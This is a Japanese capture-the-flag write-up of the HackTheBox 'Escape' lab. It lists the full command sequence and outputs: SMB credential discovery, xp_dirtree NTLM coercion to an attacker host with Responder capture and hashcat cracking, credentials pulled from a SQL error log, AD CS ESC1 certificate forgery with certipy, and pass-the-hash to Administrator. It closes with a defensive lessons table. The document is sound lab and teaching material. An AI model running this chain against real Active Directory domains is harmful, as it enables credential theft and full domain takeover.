HackTheBox: Escape — 全実行コマンド・実行結果レポート
Nmap スキャン
53/88/135/139/389/445/1433/5985等
→
53/88/135/139/389/445/1433/5985等
SMB Public共有
PDFにMSSQL平文資格情報
→
PDFにMSSQL平文資格情報
xp_dirtree NTLM強制
Responder捕捉+hashcatクラック
→
Responder捕捉+hashcatクラック
sql_svc WinRM
ERRORLOG.BAKで資格情報漏洩
→
ERRORLOG.BAKで資格情報漏洩
ryan.cooper WinRM
user.txt ✓
→
user.txt ✓
ADCS ESC1発見
UserAuthenticationテンプレート
→
UserAuthenticationテンプレート
certipy req/auth
Administrator偽装証明書
→
Administrator偽装証明書
PTH WinRM
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.55.65 nmap -Pn -sV -sC -p 53,88,135,139,389,445,636,1433,3268,3269,5985,9389 10.129.55.65
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb) 445/tcp open microsoft-ds 636/tcp open ssl/ldap 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws
ℹ️
典型的な Windows AD ドメインコントローラー構成に加え、MSSQL Server (1433)
が同居している点が特徴的。ドメインは
sequel.htb、DCのホスト名は
dc.sequel.htb(LDAP証明書のCN等から確認可能)。
BASH
echo "10.129.55.65 sequel.htb dc.sequel.htb" | sudo tee -a /etc/hosts
PHASE 2
SMB Public共有からのMSSQL資格情報漏洩
共有一覧確認 & Public共有へのアクセス
BASH
# null password (guest相当)で共有一覧を取得 smbclient -L //10.129.55.65 -N
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
BASH
smbclient //10.129.55.65/Public -N smb: \> get "SQL Server Procedures.pdf"
BASH
pdftotext "SQL Server Procedures.pdf" -
RESULT (PDF本文抜粋)
For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with user PublicUser and password GuestUserCantWrite1. Refer to the previous guidelines and make sure to switch the "Windows Authentication" to "SQL Server Authentication".
🚨
資格情報の平文漏洩: 誰でも読めるSMB共有内のPDF文書に、
MSSQL接続用の平文ユーザー名・パスワードが記載されている。
MSSQL接続 & xp_cmdshellの試行(失敗)
BASH
impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb
BASH
SQL> xp_cmdshell whoami
RESULT
ERROR: The EXECUTE permission was denied on the object 'xp_cmdshell'... (sp_configureでの有効化も権限不足で失敗)
ℹ️
PublicUserにはxp_cmdshell実行権限がなく、直接のRCEは不可。
次の手として、MSSQLサーバー自身に攻撃者ホストへ接続させて認証を強制する
xp_dirtreeを試す。
PHASE 3
xp_dirtree による NTLM強制 & Responder捕捉・クラック
Responder起動 & xp_dirtree実行
BASH
sudo responder -I tun0
BASH
# mssqlclient のシェルから SQL> EXEC MASTER.sys.xp_dirtree '\\10.10.15.201\share', 1, 1
RESULT (Responder側)
[SMB] NTLMv2-SSP Client : 10.129.55.65
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:3eed88ec0e5a8fc1:59E6D70938C58B3C54C9472E8E56E1E2:...
✅
NTLM強制成功。 MSSQLサービスはWindowsアカウント
sql_svcで
稼働しており、xp_dirtreeで攻撃者ホストへUNCパスアクセスを試みる際に
そのアカウントのNetNTLMv2応答が漏れる。
ハッシュクラック
BASH
hashcat -m 5600 sql_svc.ntlmv2 /usr/share/wordlists/rockyou.txt hashcat -m 5600 sql_svc.ntlmv2 --show
RESULT
SQL_SVC::sequel:...:REGGIE1234ronnie
✅
約15秒でクラック成功。 サービスアカウントとはいえ人間が選んだ
辞書に載る強度のパスワードだったため、rockyou.txtで容易に破れた。
PHASE 4
WinRM接続 & ERRORLOG.BAKからの資格情報漏洩 → user.txt
sql_svc としてWinRM接続
BASH
evil-winrm -i 10.129.55.65 -u sql_svc -p REGGIE1234ronnie
BASH
*Evil-WinRM* PS C:\> ls C:\SQLServer\Logs *Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
RESULT (ERRORLOG.BAK 抜粋)
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'.
Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'.
Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
🚨
典型的なヒューマンエラー漏洩: ryan.cooperがログイン時に
ユーザー名欄へパスワードを誤って入力してしまった形跡(Enterキーとタブキーの
押し間違い等が原因と推測される)。1行目でユーザー名を、2行目(直後のログイン失敗)で
パスワードそのものを平文で確認できる。
ryan.cooper としてWinRM接続 & user.txt取得
BASH
evil-winrm -i 10.129.55.65 -u ryan.cooper -p NuclearMosquito3
BASH
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> type user.txt
RESULT
b650c96efa181ea0cd2b2b428c995c83
user.txt — Ryan.Cooper
b650c96efa181ea0cd2b2b428c995c83
PHASE 5
AD CS ESC1 — UserAuthentication テンプレートの悪用
certipy find で脆弱なテンプレートを特定
BASH
certipy find -u ryan.cooper@sequel.htb -p NuclearMosquito3 -dc-ip 10.129.55.65 \ -vulnerable -stdout
RESULT
Certificate Authorities
0
CA Name : sequel-DC-CA
...
Certificate Templates
0
Template Name : UserAuthentication
Enrollee Supplies Subject: True
Certificate Name Flag : EnrolleeSuppliesSubject
...
[!] Vulnerabilities
ESC1 : 'SEQUEL.HTB\Domain Users' can enroll, enrollee supplies subject
and template allows client authentication
🚨
ESC1 (証明書テンプレートの設定不備):
UserAuthenticationテンプレートは
(1) Domain Users(=事実上全ドメインユーザー)がEnroll可能、
(2) ENROLLEE_SUPPLIES_SUBJECT(申請者が証明書のSAN=Subject
Alternative Nameを自由に指定できる)、(3) クライアント認証用途で使用可能、
という3条件が揃っている。これにより任意のユーザーが「私はAdministratorだ」
と主張する証明書を正規の手続きで発行してもらえてしまう。
Administrator を騙る証明書を要求
BASH
certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 \ -upn administrator@sequel.htb -target sequel.htb \ -ca sequel-DC-CA -template UserAuthentication
RESULT
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Saved certificate and private key to 'administrator.pfx'
クロックスキューの罠 & certipy auth でNTハッシュ取得
BASH
certipy auth -pfx administrator.pfx -domain sequel.htb -dc-ip 10.129.55.65
RESULT (初回失敗)
[*] Trying to get TGT...
[-] Got error while trying to request TGT:
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
⚠️
Kerberos/PKINIT はクロックスキューに非常に厳格(既定で許容誤差わずか5分)。
DCとKali端末の時刻が約8時間ずれている場合(
ntpdate -q dc.sequel.htbで
確認可能)、TGT取得(PKINIT)がこのエラーで失敗する。
BASH
# スキュー量を確認 (問い合わせのみ、時刻は変更しない) ntpdate -q dc.sequel.htb # → 例: +28797.xx sec (約8時間) # システム時刻そのものは変えず、対象コマンドだけ faketime でラップする # (sudo ntpdate -u で恒久的に時刻を合わせる方法は、VPNセッションが切れたり # サンドボックス/仮想環境によっては次のコマンド実行までに時刻が巻き戻る # ことがあるため非推奨。faketimeなら対象プロセスのみに時刻オフセットを # 適用でき、システム全体には影響しない) faketime "+28797 seconds" certipy auth -pfx administrator.pfx \ -domain sequel.htb -dc-ip 10.129.55.65
RESULT
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb':
aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
✅
Administrator の NT ハッシュ取得成功! faketimeでコマンド単位に
時刻オフセットを与えることで、システム時刻やVPNセッションに影響を与えずに
PKINIT認証を成立させられた。
PHASE 6
Pass-the-Hash で Administrator シェル → root.txt
取得したNTハッシュでWinRM接続
BASH
evil-winrm -i 10.129.55.65 -u administrator \ -H a52f78e4c751e5f5e17e1e9f3e58f4ee
RESULT
Evil-WinRM shell v3.4 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents>
✅
パスワードやKerberosチケットを都度要求せず、NTハッシュだけでNTLM認証が通る
(Pass-the-Hash)。証明書からNTハッシュを一度取得してしまえば、以後は
シンプルなPTHでシェルを維持できる。
root.txt取得
BASH
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
RESULT
3b88d12823f8f76322e96a0aed86012d
root.txt — Administrator@sequel.htb
3b88d12823f8f76322e96a0aed86012d
補足: Beyond Root — Silver Ticket による別解
NOTE
本レポートの経路(ADCS ESC1)はHTB公式の意図した解法だが、実は sql_svcのNTハッシュを取得した時点(Phase 3終了時点)で、MSSQLサービスに 対するSilver Ticket(サービスチケット偽造)によってAdministratorとして MSSQL経由のファイル読み取りが可能な別解も存在する(HTBテスト時に発見された "unintended"だが修正困難として意図的に残された経路)。ESC1経路の方が 再現性・汎用性が高いため、本レポートではそちらを採用している。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Ryan.Cooper
b650c96efa181ea0cd2b2b428c995c83
root.txt — Administrator@sequel.htb
3b88d12823f8f76322e96a0aed86012d
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 平文資格情報のSMB共有公開 | Public共有内PDF | MSSQL資格情報の漏洩 | Medium | 誰でも読める共有に接続手順書を配置、そこにユーザー名/パスワードを平文記載 |
| xp_dirtree による NTLM 強制 | MSSQL Server (sql_svcサービスアカウント) | サービスアカウントのNetNTLMv2窃取 | High | UNCパスへの参照でサーバー自身に攻撃者ホストへ認証させ、Responderで捕捉・オフラインクラック |
| ログファイルへの資格情報漏洩 | ERRORLOG.BAK | 横展開 (sql_svc→ryan.cooper) | Medium | ログイン失敗時にユーザー名欄へ誤入力されたパスワードがログに平文記録 |
| AD CS ESC1 | UserAuthentication証明書テンプレート | 権限昇格 (一般ユーザー→Domain Admin相当) | Critical | ENROLLEE_SUPPLIES_SUBJECT+広いEnroll権限+クライアント認証用途の組み合わせでAdministrator偽装証明書を取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC + MSSQL(1433) 構成を確認 |
| 2 | 資格情報発見 | SMB Public共有PDF | PublicUser:GuestUserCantWrite1 |
| 3 | NTLM強制+クラック | xp_dirtree + Responder + hashcat | sql_svc:REGGIE1234ronnie |
| 4 | 横展開+foothold | ERRORLOG.BAK閲覧 | ryan.cooper:NuclearMosquito3 → user.txt |
| 5 | ADCS悪用 | certipy find/req/auth (ESC1) | Administrator NTハッシュ |
| 6 | 権限昇格 | Pass-the-Hash WinRM | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 認証不要のSMB共有に資格情報を含む文書を配置 | 共有のアクセス許可を必要最小限に限定し、資格情報は文書ではなくシークレット管理システムで配布する。 |
| MSSQLサーバーが外部ホストへのUNCアクセス(xp_dirtree等)を許可 | 不要なOLE Automation/拡張ストアドプロシージャを無効化し、アウトバウンドSMB通信をファイアウォールで制限する。 |
| ログファイルに認証失敗時の入力値(パスワードの可能性がある文字列)がそのまま記録される | ログ出力前に既知の機密パターンをマスキングする。エラーログファイルのアクセス権をサービスアカウントのみに限定する。 |
| 証明書テンプレートで ENROLLEE_SUPPLIES_SUBJECT を有効化したまま広いEnroll権限を許可(ESC1) | クライアント認証用テンプレートでは申請者によるSubject/SAN指定を許可しない。Enroll権限は業務上必要な最小限のグループに限定する。certipy findやPSPKIAuditで定期的に監査する。 |

